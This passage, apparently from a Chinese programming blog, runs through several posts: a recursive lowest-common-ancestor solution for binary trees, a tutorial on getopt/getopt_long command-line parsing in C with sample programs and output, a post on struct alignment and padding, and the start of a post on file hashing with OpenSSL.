这就像动态规划系列问题,怎么做选择,需要观察问题的性质,找规律.那么我们就得分析这个「最近公共祖先节点」有什么特点呢?刚才说了函数中的变量是root参数,所以这里都要围绕root节点的情况来展开讨论.
先想 base case,如果root为空,肯定得返回null.如果root本身就是p或者q,比如说root就是p节点吧,如果q存在于以root为根的树中,显然root就是最近公共祖先;即使q不存在于以root为根的树中,按照情况 3 的定义,也应该返回root节点.
以上两种情况的 base case 就可以把框架代码填充一点了:

1
2
3
4
5
6
7
TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
// 两种情况的 base case
if (root == null) return null;
if (root == p || root == q) return root;
TreeNode left = lowestCommonAncestor(root.left, p, q);
TreeNode right = lowestCommonAncestor(root.right, p, q);
}

现在就要面临真正的挑战了,用递归调用的结果leftright来搞点事情.根据刚才第一个问题中对函数的定义,我们继续分情况讨论:
情况 1,如果pq都在以root为根的树中,那么leftright一定分别是pq(从 base case 看出来的).
情况 2,如果pq都不在以root为根的树中,直接返回null
情况 3,如果pq只有一个存在于root为根的树中,函数返回该节点.
明白了上面三点,可以直接看解法代码了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
// base case
if (root == null) return null;
if (root == p || root == q) return root;
TreeNode left = lowestCommonAncestor(root.left, p, q);
TreeNode right = lowestCommonAncestor(root.right, p, q);
// 情况 1
if (left != null && right != null) {
return root;
}
// 情况 2
if (left == null && right == null) {
return null;
}
// 情况 3
return left == null ? right : left;
}

对于情况 1,你肯定有疑问,leftright非空,分别是pq,可以说明root是它们的公共祖先,但能确定root就是「最近」公共祖先吗?
这就是一个巧妙的地方了,因为这里是二叉树的后序遍历啊!前序遍历可以理解为是从上往下,而后序遍历是从下往上,就好比从pq出发往上走,第一次相交的节点就是这个root,你说这是不是最近公共祖先呢?[7]

参考资料

1. 维基百科编者. 软件自由保护组织[G/OL]. 维基百科, 2019(20191114)[2019-11-14]. https://zh.wikipedia.org/w/index.php?title=%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E4%BF%9D%E6%8A%A4%E7%BB%84%E7%BB%87&oldid=56869590.
2. 起步- Git 简史.[G/OL].Git Book. https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-Git-%E7%AE%80%E5%8F%B2
3. 维基百科编者. Git[G/OL]. 维基百科, 2020(20201106)[2020-11-06]. https://zh.wikipedia.org/w/index.php?title=Git&oldid=62682388.
4. 自由与非自由软件的分类 https://www.gnu.org/philosophy/categories.zh-cn.html
5. Linux、GNU和自由 https://www.gnu.org/philosophy/linux-gnu-freedom.zh-cn.html
6. https://www.gnu.org/
7. labuladong. 用 Git 来讲讲二叉树最近公共祖先[G/OL]. 微信公众号—labuladong, 2020(20200609)[2020-06-09]. http://mp.weixin.qq.com/s?__biz=MzAxODQxMDM0Mw==&mid=2247485561&idx=1&sn=a394ba978283819da1eb34a256f6915b
8. Git 内部原理 - Git 引用.[G/OL].Git Book. https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%BC%95%E7%94%A8
9. Git 分支 - 分支的新建与合并.[G/OL].Git Book. https://git-scm.com/book/zh/v2/Git-%E5%88%86%E6%94%AF-%E5%88%86%E6%94%AF%E7%9A%84%E6%96%B0%E5%BB%BA%E4%B8%8E%E5%90%88%E5%B9%B6
10. Git 分支 - 远程分支.[G/OL].Git Book. https://git-scm.com/book/zh/v2/Git-%E5%88%86%E6%94%AF-%E8%BF%9C%E7%A8%8B%E5%88%86%E6%94%AF
11. https://learngitbranching.js.org/?locale=zh_CN
12. https://github.com/pcottle/learnGitBranching
13. 起步- Git 是什么?.[G/OL].Git Book.https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-Git-%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F

命令行参数的解析

info
LICENSE
本文使用 GNU通用公共许可证 v3(GNU General Public License, version 3) 发布.

命令行参数的解析

真巧,在笔者近日的程序设计实践中又涉及到了命令行参数,笔者便再谈谈他.因单篇博客不宜过长,该内容将拆分在一系列博文中,该系列博文中,笔者将只讨论 getopt()getopt_long()getopt_long_only() 的使用,不涉及其他方案.

getopt() 的基本信息

1
2
3
4
#include <unistd.h>
int getopt(int argc, char *const argv[], const char *optstring);
extern char *optarg;
extern int optind, opterr, optopt;

上面有 getopt() 函数的函数原型和相关全局变量,注意使用 getopt() 函数需要包含 unistd.h

getopt() 被用来处理遵循 Single UNIX Specification 的命令行参数

Single UNIX Specification 要求[1]:

  • 限制每个命令行选项为一个单一的阿拉伯字符

  • 所有选项必须以 - 作为开头字符

举例来说就是getopt()可用于处理 command -t 123 -p 456.txt -uroot 这类命令,而不能用于 command --times 123 --path 456.txt --userroot

getopt()的参数

argvargc

这两个参数即为待解析的命令行参数的计数和指向字符串存储位置的指针数组.这两个参数的实参通常作为int main(int argc,char *argv[])的参数传入程序.对该处有疑问的读者可参考笔者的博文命令行参数的误解

optstring

optstring是一个字符串,用来说明预期的命令行参数的格式.它的作用可能有点类似 scanf() 中转换说明的作用.

optstring is a string containing the legitimate option characters. If such a character is followed by a colon, the option requires an argument, so getopt() places a pointer to the following text in the same argv-element, or the text of the following argv-element, in optarg. Two colons mean an option takes an optional arg

  • if there is text in the current argv-element (i.e., in the same word as the option name itself, for example, −oarg), then it is returned in optarg, otherwise optarg is set to zero. This is a GNU extension.
  • If optstring contains W followed by a semicolon, then −W foo is treated as the long option −−foo. (The −W option is reserved by POSIX.2 for implementation extensions.) This behavior is a GNU extension, not available with libraries before glibc 2.

optstring 是包含合法选项字符的字符串.如果此类字符后接 : ,则该选项需要一个参数,因此 getopt() 将指针指向位于同一 argv 元素中的后续文本,或位于 argarg 中的后续 argv 元素的文本. :: 表示一个选项带有一个可选的参数

  • 如果当前argv元素中有文本( 例如与选项名称本身相同的词,例如 -oarg ),则将其以 optarg 返回,否则 optarg 设置为 0.这是一个 GNU 扩展
  • 如果 optstring 包含 W 后跟一个分号,则将 -W foo 视为长选项 --foo .( -W 选项由 POSIX.2 保留用于实现扩展.)此行为是 GNU 扩展 ,不适用于 glibc 2 之前的库.

getopt()的返回值

  • If an option was successfully found, then getopt() returns the option character.

  • If all command-line options have been parsed, then getopt() returns −1.

  • If getopt() encounters an option character that was not in optstring, then ? is returned.

  • If getopt() encounters an option with a missing argument, then the return value depends on the first character in optstring:

    • if it is :, then : is returned
    • otherwise ? is returned.[3]

用笔者糟糕的英语勉强翻译一下:

warning

受限于笔者低劣的英文水平,笔者的翻译可能存在众多谬误,更无法做到 信、达、雅 的要求.笔者提供的翻译内容仅供参考.建议读者自行翻译或直接阅读英文原文.笔者不为本文中翻译内容的准确性负责.

  • 如果一个选项被成功的找到,getopt() 返回这个选项的字母

  • 如果完成了所有的选项的解析,getopt() 将返回 -1

  • 如果发现不在 optstring 中的选项,则返回 ?
  • 如果发现丢失参数的选项,返回值取决于 optstring[0]
    • 如果 optstring[0]:,则返回 :
    • 否则返回 ?,即 return optstring[0] == ':' ? ':' : '?';

getopt() 的扫描模式

  • If the first character of optstring is + or the environment variable POSIXLY_CORRECT is set, then option processing stops as soon as a nonoption argument is encountered.
  • If the first character of optstring is , then each nonoption argv-element is handled as if it were the argument of an option with character code 1. (This is used by programs that were written to expect options and other argv-elements in any order and that care about the ordering of the two.)
  • The special argument −− forces an end of option-scanning regardless of the scanning mode.[3]

还是由笔者来翻译一下

  • 如果 optstring[0]+ 或者 环境变量 POSIXLY_CORRECT 被设置,则 getopt() 将会在遇到非 optsting 中的选项时停止.

  • 如果 optstring[0]- ,则任何一个非选项的 argv 中的元素将被按照 ASCII 编码1 的字符处理.(这常被用于期待 选项argv 的元素 按某种顺序排列并关注两者的顺序的程序 )

  • 特殊的参数 -- 将强制结束选项扫描,无论扫描模式是什么.

请看示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* getopt1.c */
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int ch;
// opterr = 0;
while ((ch = getopt(argc, argv, "a:b:c::d::e::fxg:")) != -1)
{
printf(" ch\t函数的返回值\t%c\n", ch);
printf("optarg\t当前选项的参数\t%s\n", optarg);
printf("optind\t指向下个字符串\t%d\n", optind);
printf("argv[optind]\t\t%s\n", argv[optind]);
printf("optopt\t指向出错字符串\t%d\n", optopt);
printf("opterr\t若出错输出消息\t%d\n", opterr);
printf("\n");
}
}

请读者们编译后以参数 -a -- -c-- -- -g 运行程序.

笔者得到的输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
    ch  函数的返回值    a
optarg 当前选项的参数 --
optind 指向下个字符串 3
argv[optind] -c--
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 c
optarg 当前选项的参数 --
optind 指向下个字符串 4
argv[optind] --
optopt 指向出错字符串 0
opterr 若出错输出消息 1

请读者注意:-- 作为 选项的参数 被读取时 getopt() 正常的的返回 选项字符 ,但当 -- 不作为 选项的参数 被读取时,getopt() 返回值为 -1 ,循环中止.

danger

The use of + and - in optstring is a GNU extension.[3]

optstring中使用+- 是一个 GNU 扩展

这意味着使用+-的程序在不兼容 GNU 扩展编译器可能 无法正常的编译或运行

如果在编译中使用了的-std=c99-std=c11 等指定 C语言标准 的编译选项需对应替换成 -std=gnu99-std=gnu11

getopt() 的错误处理

While processing the option list, getopt() can detect two kinds of errors:

  1. an option character that was not specified in optstring

  2. a missing option argument (i.e., an option at the end of the command line without an expected argument).

Such errors are handled and reported as follows:

  • By default, getopt() prints an error message on standard error, places the erroneous option character in optopt, and returns ? as the function result.

  • If the caller has set the global variable opterr to zero, then getopt() does not print an error message. The caller can determine that there was an error by testing whether the function return value is ?. (By default, opterr has a nonzero value.)

  • If the first character (following any optional + or described above) of optstring is a colon (:), then getopt() likewise does not print an error message. In addition, it returns : instead of ? to indicate a missing option argument. This allows the caller to distinguish the two different types of errors.[3]

笔者翻译成中文便是

在处理选项列表时, getopt() 可以检测两种错误:

  1. 未在 optstring 中指定的选项字符

  2. 选项缺少参数(例如,命令行末尾没有预期参数的选项)

这些错误的处理和报告如下:

  • 默认情况下,getopt() 会在标准错误上显示一条错误消息,将错误的选项字符放入 optopt ,然后返回 ? 作为函数结果.
  • 如果调用者已将全局变量 opterr 设置为零,则 getopt() 不会输出错误消息. 调用方可以通过测试函数返回值是否为 ? 来确定是否存在错误.(默认情况下, opterr 具有非零值.)
  • 如果optstring的第一个字符(上述任意可选的 +- 之后)是冒号(:),则getopt()同样不会输出错误消息. 另外,它返回:而不是?表示缺少选项参数. 这使调用者可以区分两种不同类型的错误.

getopt() 相关的全局变量

其后,来讨论与 getopt() 相关的 4 个 全局变量

optarg 如果一个选项需要参数,在处理该选项时,getopt会设置optarg指向该选项的参数字符串.

opterr 如果一个选项发生了错误,getopt会默认打印一条出错消息.应用程序可以通过设置opterr参数为0来禁止这个行为.

optind 用来存放下一个要处理的字符串在argv数组里的下标.它从1开始,每处理一个参数,getopt都会对其递增1.

optopt 如果处理选项时发生了错误,getopt会设置optopt指向导致出错的选项字符串.[1]

请看示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* getopt1.c */
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int ch;
// opterr = 0;
while ((ch = getopt(argc, argv, "a:b:c::d::e::fxg:")) != -1)
{
printf(" ch\t函数的返回值\t%c\n", ch);
printf("optarg\t当前选项的参数\t%s\n", optarg);
printf("optind\t指向下个字符串\t%d\n", optind);
printf("argv[optind]\t\t%s\n", argv[optind]);
printf("optopt\t指向出错字符串\t%d\n", optopt);
printf("opterr\t若出错输出消息\t%d\n", opterr);
printf("\n");
}
}

这段代码将演示getopt()的使用方法与 getopt()调用中相关的变量的变化.
请读者一定要使用-a 234 -b -c456 -d 789 -e -f -h -g作为参数运行该程序,查看输出逐个分析原因.

笔者得到的输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    ch  函数的返回值    a
optarg 当前选项的参数 234
optind 指向下个字符串 3
argv[optind] -b
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 b
optarg 当前选项的参数 -c456
optind 指向下个字符串 5
argv[optind] -d
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 d
optarg 当前选项的参数 (null)
optind 指向下个字符串 6
argv[optind] 789
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 e
optarg 当前选项的参数 (null)
optind 指向下个字符串 8
argv[optind] -f
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 f
optarg 当前选项的参数 (null)
optind 指向下个字符串 9
argv[optind] -h
optopt 指向出错字符串 0
opterr 若出错输出消息 1

./getopt1.out: invalid option -- 'h'
ch 函数的返回值 ?
optarg 当前选项的参数 (null)
optind 指向下个字符串 10
argv[optind] -g
optopt 指向出错字符串 104
opterr 若出错输出消息 1

./getopt1.out: option requires an argument -- 'g'
ch 函数的返回值 ?
optarg 当前选项的参数 (null)
optind 指向下个字符串 11
argv[optind] (null)
optopt 指向出错字符串 103
opterr 若出错输出消息 1

值得特别关注的是:

  • 2 段,-c456 被解释为 选项b 的参数,而不是 选项c 和其参数 456
  • 4 段,定义为含有可选参数选项d 的参数为 null ,而不是 789,因为可选参数的选项的参数和选项间不能加空格,要使 789选项d 的参数,则该写为 -d789

请读者再次以参数 -ab -c123 -de -fx 执行该程序.

笔者得到的输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ch  函数的返回值    a
optarg 当前选项的参数 b
optind 指向下个字符串 2
argv[optind] -c123
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 c
optarg 当前选项的参数 123
optind 指向下个字符串 3
argv[optind] -de
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 d
optarg 当前选项的参数 e
optind 指向下个字符串 4
argv[optind] -fx
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 f
optarg 当前选项的参数 (null)
optind 指向下个字符串 4
argv[optind] -fx
optopt 指向出错字符串 0
opterr 若出错输出消息 1

ch 函数的返回值 x
optarg 当前选项的参数 (null)
optind 指向下个字符串 5
argv[optind] (null)
optopt 指向出错字符串 0
opterr 若出错输出消息 1

值得特别关注的是:

  • 1 段,b 被解释为 选项a 的参数,而不是 选项a选项b .请将第 1 段 和 第 4 与 第 5 段比较, -fx 被解释为了 选项f选项x
  • 4 段,定义为可选参数选项d的参数为 null ,而不是 789,因为含「可选参数的选项的参数」和选项间不能加空格,要使 789选项d 的参数,则该写为 -d789

    长选项

    长选项以两个「-」开头,长选项的参数写法可以为以下两种格式:「--arg=param」或「--arg param」.

    基本信息

1
2
3
4
5
6
7
8
9
10
#include <getopt.h>
struct option
{
const char *name;
int has_arg;
int *flag;
int val;
};
int getopt_long(int argc, char *const argv[], const char *optstring, const struct option *longopts, int *longindex);
int getopt_long_only(int argc, char *const argv[], const char *optstring, const struct option *longopts, int *longindex);

getopt_long()

  • argcargv 不必解释含义.
  • optstring:当程序只接受长选项时,optstring 应该为 ""(空字符串),而不是 NULL
  • longopts:是一个 struct option 的数组.
  • name
    is the name of the long option.
  • has_arg
    is: no_argument (or 0) if the option does not take an argument; required_argument (or 1) if the option requires an argument; or optional_argument (or 2) if the option takes an optional argument.
  • flag
    specifies how results are returned for a long option.
    • If flag is NULL , then getopt_long() returns val . (For example, the calling program may set val to the equivalent short option character.)
    • Otherwise, getopt_long() returns 0, and flag points to a variable which is set to val if the option is found, but left unchanged if the option is not found.
  • val
    is the value to return, or to load into the variable pointed to by flag .>The last element of the array has to be filled with zeros.[1]

也就是说:

  • name
    选项名.
  • has_arg
    需要为 no_argument(无参数)、required_argument(需要参数)、optional_argument(可选参数)这三个宏中的一个.
  • flagval
    当解析到该长选项时:
    • 如果 flagNULLgetopt_only() 返回 val.(例如,调用者设置 val 为对应的短选项字符)
    • 如果 flag 不为 NULLgetopt_only() 返回 0,并且 flag 指向的变量将被设置为 val.当未解析的该选项时,flag 指向的值不变.
      longopts 数组的最后一个元素需要全部字段为 0

If longindex is not NULL, it points to a variable which is set to the index of the long option relative to longopts.[1]
如果 longinedx 不是 NULL,它指向的值将被设置为解析到的长选项在 longopt 中的索引.

getopt_long_only()

getopt_long_only()getopt_long() 是相似的.但 - 开头的选项也被认为是选项,当选项以 - 开头时,getopt_long_only() 将认为他是一个长选项.当选项以 - 开头且不匹配长选项但却能匹配短选项时,getopt_long_only() 将这个选项解析为短选项.

整理整理思路.

对于一个以 - 开头的选项:

  • getopt_long() 认为他是一个短选项
  • getopt_long_only() 认为他是一个长选项
    换而言之,-abgetopt_long() 眼中解释为:「选项a和选项b」或者「选项a和选项a的参数b」;但是 getopt_long_only() 将他首先解释为「长选项ab」,除非 longopts 的数组中不包含一个 nameab 的长选项.

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>     /* for printf */
#include <stdlib.h> /* for exit */
#include <getopt.h>
int
main(int argc, char **argv)
{
int c;
int digit_optind = 0;
while (1) {
int this_option_optind = optind ? optind : 1;
int option_index = 0;
static struct option long_options[] = {
{"add", required_argument, 0, 0 },
{"append", no_argument, 0, 0 },
{"delete", required_argument, 0, 0 },
{"verbose", no_argument, 0, 0 },
{"create", required_argument, 0, 'c'},
{"file", required_argument, 0, 0 },
{0, 0, 0, 0 }
};
c = getopt_long(argc, argv, "abc:d:012",
long_options, &option_index);
if (c == -1)
break;
switch (c) {
case 0:
printf("option %s", long_options[option_index].name);
if (optarg)
printf(" with arg %s", optarg);
printf("\n");
break;
case '0':
case '1':
case '2':
if (digit_optind != 0 && digit_optind != this_option_optind)
printf("digits occur in two different argv-elements.\n");
digit_optind = this_option_optind;
printf("option %c\n", c);
break;
case 'a':
printf("option a\n");
break;
case 'b':
printf("option b\n");
break;
case 'c':
printf("option c with value '%s'\n", optarg);
break;
case 'd':
printf("option d with value '%s'\n", optarg);
break;
case '?':
break;
default:
printf("?? getopt returned character code 0%o ??\n", c);
}
}
if (optind < argc) {
printf("non-option ARGV-elements: ");
while (optind < argc)
printf("%s ", argv[optind++]);
printf("\n");
}
exit(EXIT_SUCCESS);
}

[3]

编译并以 ./getopt_long -add --append -d34 -1 --verbose 运行,程序的输出为:

1
2
3
4
5
6
option a
option d with value 'd'
option append
option d with value '34'
option 1
option verbose

上面的代码中,如果把第 21 的代码中的 getopt_long 改成 get_long_only 再次编译并以相同的参数运行就会得到如下的输出:

1
2
3
4
option add with arg --append
option d with value '34'
option 1
option verbose

区别很明显.

getopt_long()-add 解释为了 选项a、选项 d、选项 d 的参数 d

getopt_long_only()-add 解释为了 选项 add

参考书籍

1. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社
2. C++ 命令行参数解析.[G/OL].CSDN.https://blog.csdn.net/qq_34719188/article/details/83788199
3. Linux Programmer’s Manual.[G/OL].https://man7.org/linux/man-pages/man3/getopt.3.html

数据结构对齐

数据结构对齐

对于大多数 x86-64 指令来说,保持数据对齐能够提高效率,但是它不会影响程序的行为.另一方面,如果数据没有对齐,某些型号的 Intel 和 AMD 处理器对于有些实现多媒体操作的 SSE 指令,就无法正确执行.这些指令对 16 字节数据块进行操作,在 SSE 单元和内存之间传递数据的指令要求内存地址必须是 16 的倍数.任何试图以不满足对齐要求的地址来访问内存都会导致异常,默认的行为是程序终止.[1]

结构体的大小不总是等于各数据成员的大小之和

1
2
3
4
5
6
7
struct test
{
char a;
long b;
int c;
char d;
};

结构体的大小不总是等于各数据成员的大小之和,但事实上结构体的成员间 常常 存在「空隙」.
例如上面的结构体,在笔者的设备上的大小为: 24 byte,但「各成员的大小的和」仅为 14 byte.
经过简单的计算就知道该结构体中有 41.6% 的没有被利用,这不一定是一件坏事,但是在可用内存较小的设备上创建过多的该类结构体可能不是一个好的做法.

对齐的方式

基本数据类型的「对齐要求」

上文说到结构体的数据成员间存在「间隙」,但这个间隙到底是如何分布的?

为此,需要了解先每个基本的数据类型的「对齐要求」.

info
INFO

C11 中为定义了 _Alignof 运算符来输出数据的「对齐要求」, _Alignof 的使用方式与 sizeof 类似.

_Alignof 运算符给出一个类型的对齐要求,在关键字 _Alignof 后面的圆括号中写上类型名即可:

1
size_t d_align = _Alignof(float);

假设 d_align 的值是 4,意思是 float 类型 对象的对齐要求是 4.也就是说,4 是储存该类型值相邻地址的字节数.一般而言,对齐值都应该是 2 的非负整数次幂.[2]

_Alignof(type) 的意义为:「若定义 TYPE a;,则 (unsigned long)&a%_Alignof(type)==0」.

较大的对齐值被称为 stricterstronger,较小的对齐值被称为 weaker.[2]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
int main(void)
{
printf("char %zu\n", _Alignof(char));
printf("short %zu\n", _Alignof(short));
printf("int %zu\n", _Alignof(int));
printf("void* %zu\n", _Alignof(void *));
printf("long %zu\n", _Alignof(long));
printf("long long %zu\n", _Alignof(long));
printf("float %zu\n", _Alignof(float));
printf("double %zu\n", _Alignof(double));
printf("long double %zu\n", _Alignof(long double));

printf("char %zu\n", _Alignof(const char));
printf("short %zu\n", _Alignof(const short));
printf("int %zu\n", _Alignof(const int));
printf("void* %zu\n", _Alignof(const void *));
printf("long %zu\n", _Alignof(const long));
printf("long long %zu\n", _Alignof(const long));
printf("float %zu\n", _Alignof(const float));
printf("double %zu\n", _Alignof(const double));
printf("long double %zu\n", _Alignof(const long double));

printf("char %zu\n", _Alignof(unsigned char));
printf("short %zu\n", _Alignof(unsigned short));
printf("int %zu\n", _Alignof(unsigned int));
printf("long %zu\n", _Alignof(unsigned long));
printf("long long %zu\n", _Alignof(unsigned long));
}

可以看到的是:「对齐要求」仅与数据类型本身有关,与 constsignedunsigned 无关.

结构体的「对齐要求」

一个定义完成的结构体是一个 复合数据类型 ,那么结构体也该有它自己的「对齐要求」.
结构体的对齐要求为其 成员 的「对齐要求」中的最大值.
因此,下面的结构体的对齐要求为:「1、8、4、1」中的最大值,也就是 8,当然也可以用 _Alignof(struct test) 验证刚才的结论.
由此,得到数据结构对齐的要求之1:结构体地址 满足 结构体的『对齐要求』

1
2
3
4
5
6
7
struct test
{
char a;
long b;
int c;
char d;
};

特别需要注意的是:「对于任意数据类型,数据类型的大小应当为其『对齐要求』的整数倍.」
该要求在基本数据类型中没有意义,因为单个元素总是其「对齐要求」的整数倍.在结构体中,结构体的最后一个成员后 可能 需要添加「空隙」使结构体的大小为其「对齐要求」的整数倍.
由此,得到数据结构对齐的要求之2:结构体大小 为结构体的『对齐要求』的倍数」

结构体的「空隙」

讨论完了数据类型的「对齐要求」,现在来看看结构体中的「空隙」究竟是如何分布的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stddef.h>//提供 offsetof
#include <stdio.h>
struct test
{
char a;
long b;
int c;
char d;
};
int main(void)
{
printf("offsetof(struct test, a)\t%lu\n", offsetof(struct test, a));
printf("offsetof(struct test, b)\t%lu\n", offsetof(struct test, b));
printf("offsetof(struct test, c)\t%lu\n", offsetof(struct test, c));
printf("offsetof(struct test, d)\t%lu\n", offsetof(struct test, d));
}

info
INFO

如果你必须确定结构某个成员的实际位置,应该考虑边界对齐因素,可以使用 offsetof 宏(定义于 stddef.h).

1
offsetof( type, member )

type 就是结构的类型,member 就是你需要的那个成员名.表达式的结果是一个 size_t 值,表示这个指定成员开始存储的位置距离结构开始存储的位置偏移几个字节.[3]

根据每个成员的大小和相对结构体开始处的偏移量,能得到下面的表格.

offset内容offset内容
0char a12long b
113long b
214long b
315long b
416int c
517int c
618int c
719int c
8long b20char d
9long b21
10long b22
11long b23

根据上文,一个结构体的「对齐要求」为其成员的「对齐要求」的最大值,又因为「对齐要求」通常为 2的幂,那么结构体的「对齐要求」必然是其成员对齐要求的 最小公倍数.即「结构体的首地址」满足「结构体的任一成员」的「对齐要求」.那么,只需要让结构体中的成员的偏移量为成员的「对齐要求」的倍数,那么成员的地址必将满足其「对齐要求」.
由此,得到数据结构对齐的要求之3:「成员的偏移量为成员『对齐要求』的倍数」

联合的「对齐要求」

联合与结构体相比在「对齐要求」只有些许不同:「联合的『对齐要求』为其最大的成员的『对齐要求』」
对下面的联合而言,其「对齐要求」为long y;或者说double z;的「对齐要求」,即 8

1
2
3
4
5
6
union test
{
char x;
long y;
double z;
};

复合数据结构的嵌套

在考虑数据结构对齐的问题时,如果遇到了「复合数据结构」嵌套的情况,只需要把内层的「复合数据结构」当作一个新的数据类型进行思考即可,在思考时不必关注其成员是 基本数据类型 还是 结构体 亦或是 联合体,只需逐层分析,逐层分析其「对齐要求」.

举个例子吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct TEST
{
union U1
{
char a;
int b;
short c;
} d;
long e;
struct S1
{
int f;
union U1 g;
unsigned long h;
} i;
union U2
{
struct S1 j;
union U1 k;
} l;
char m;
};

danger
WARNING

上面这段代码仅为了说明「复合数据结构的嵌套」,代码本身无应用价值且难以理解和维护.实际开发中,除非有十分充足的理由,否则不应当写出类似的代码.

现在笔者尝试分析 struct TEST

  1. 首先得出 U1 中最大的成员为 int b;,则 U1 的「对齐要求」为 int b; 的「对齐要求」,即 U1 的「对齐要求」为 4.
  2. 又因为 long e; 的「对齐要求」为 8,则 de 间有 4 bytes 的「间隙」.
  3. 现在分析 S1
    1. 1 中知 U1 的「对齐要求」为 4.又因为 int f; 的大小为 4,所以 fg 间无「间隙」.
    2. unsigned long h; 的「对齐要求」为 8,又因为在 S1 中, h 前面的成员 fg 正好占用了 S1 的前 8 bytes.可知,hg 间无间隙.
    3. 此时共占用 S1 的前 16 bytes ,而 S1 的「对齐要求」为 unsigned long h; 的「对齐要求」,即为 8.可知 h 后无「空隙」.
    4. 又因为 S1 的「对齐要求」为 8,而 de 共占用 struct TEST 的前 16 bytes,则 ie 间无 「间隙」.
  4. 现在分析 union U2;
    1. 由上:「 struct S1 j; 的『对齐要求』为 8;union U1 k; 的『对齐要求』为 4 」,则 union U2; 的「对齐要求」为:「4、8」中的最大值,即为 8.
    2. k 的「对齐要求」为 4,j 占据了 U2 的前 16 bytes ,则 kj 间无「间隙」.且 k 后无「间隙」.
    3. il 的「对齐要求」均为 8 ,则il 间无「间隙」.
  5. char m; 的「对齐要求」为 1,而 l 的「对齐要求」为8,故此 lm 间无「间隙」.
  6. 由上,struct TEST 的「对齐要求」为:「4、8、8、8、1」中的最大值,即为 8.
  7. 最终得到,m 后有 7 bytes 的「空隙」.

调整结构体的成员的顺序

有了上面一大堆的铺垫,笔者相信读者们 数据结构对齐 有了自己的理解.但是还有一个遗留的问题值得在此共同探讨:怎么排列成员才能提高结构体的空间利用率.
答案很简单:「将成员按照其『对齐要求』降序排列」.
重新回到最开始的示例:

1
2
3
4
5
6
7
struct test
{
char a;
long b;
int c;
char d;
};

将其成员按照「对齐要求」降序排列便得到了:
1
2
3
4
5
6
7
struct test
{
long b;
int c;
char a;
char d;
};

经过简单的重新排序,struct test 现在只需要占用 16 bytes,节省了 8 bytes.

但是这种做法并不一定是最好的,有时结构体的成员的排列具有逻辑顺序,具有便于开发者理解的作用,重排可能会打破原有的逻辑顺序.

tip
TIP

有时,我们有充分的理由,决定不对结构的成员进行重排以减少因对齐带来的空间损失.例如,我们可能想把相关的结构成员存储在一起,提高程序的可维护性和可读性.但是,如果不存在这样的理由,结构的成员应该根据它们的边界需要进行重排,减少因边界对齐而造成的内存损失.
当程序将创建几百个甚至几千个结构时,减少内存浪费的要求就比程序的可读性更为急迫.在这种情况下,在声明中增加注释可能避免可读性方面的损失.[3]

参考资料

1. Randal E.Bryant.深入理解计算机系统[M].第三版.龚奕利,译.北京:机械工业出版社
2. Stephen Prata.C Primer Plus[M].第六版.姜佑,译.北京:人民邮电出版社
3. Kenneth.A.Reek.C和指针[M].徐波,译.北京:人民邮电出版社

在 GNU/Linux 中用 C语言计算文件的 Hash

在 GNU/Linux 中用 C语言计算文件的 Hash

在今日之前,笔者从未想到使用 C/C++GNU/Linux 计算文件的 Hash (例如:SHA-1MD5SHA-256 等)会这样的麻烦.

笔者以为会有 char * sha256sum(int fd)char * sha256sum(FILE *stream) 类似的函数来轻松的获取文件的 Hash .但事实并非如此,获取文件的 Hash 的方法远比笔者想象中的做法要复杂.

方案1 自行实现Hash函数

这种方案是最为麻烦的,但有着不依赖第三方库和程序的优点.至于如何实现 Hash 函数不是本文重点,笔者对此也不做说明.

方案2 调用Openssl

笔者的 openssl 版本为1.1.1i 8 Dec 2020/usr/include/openssl 中提供的头文件可点击下方的小三角查看.

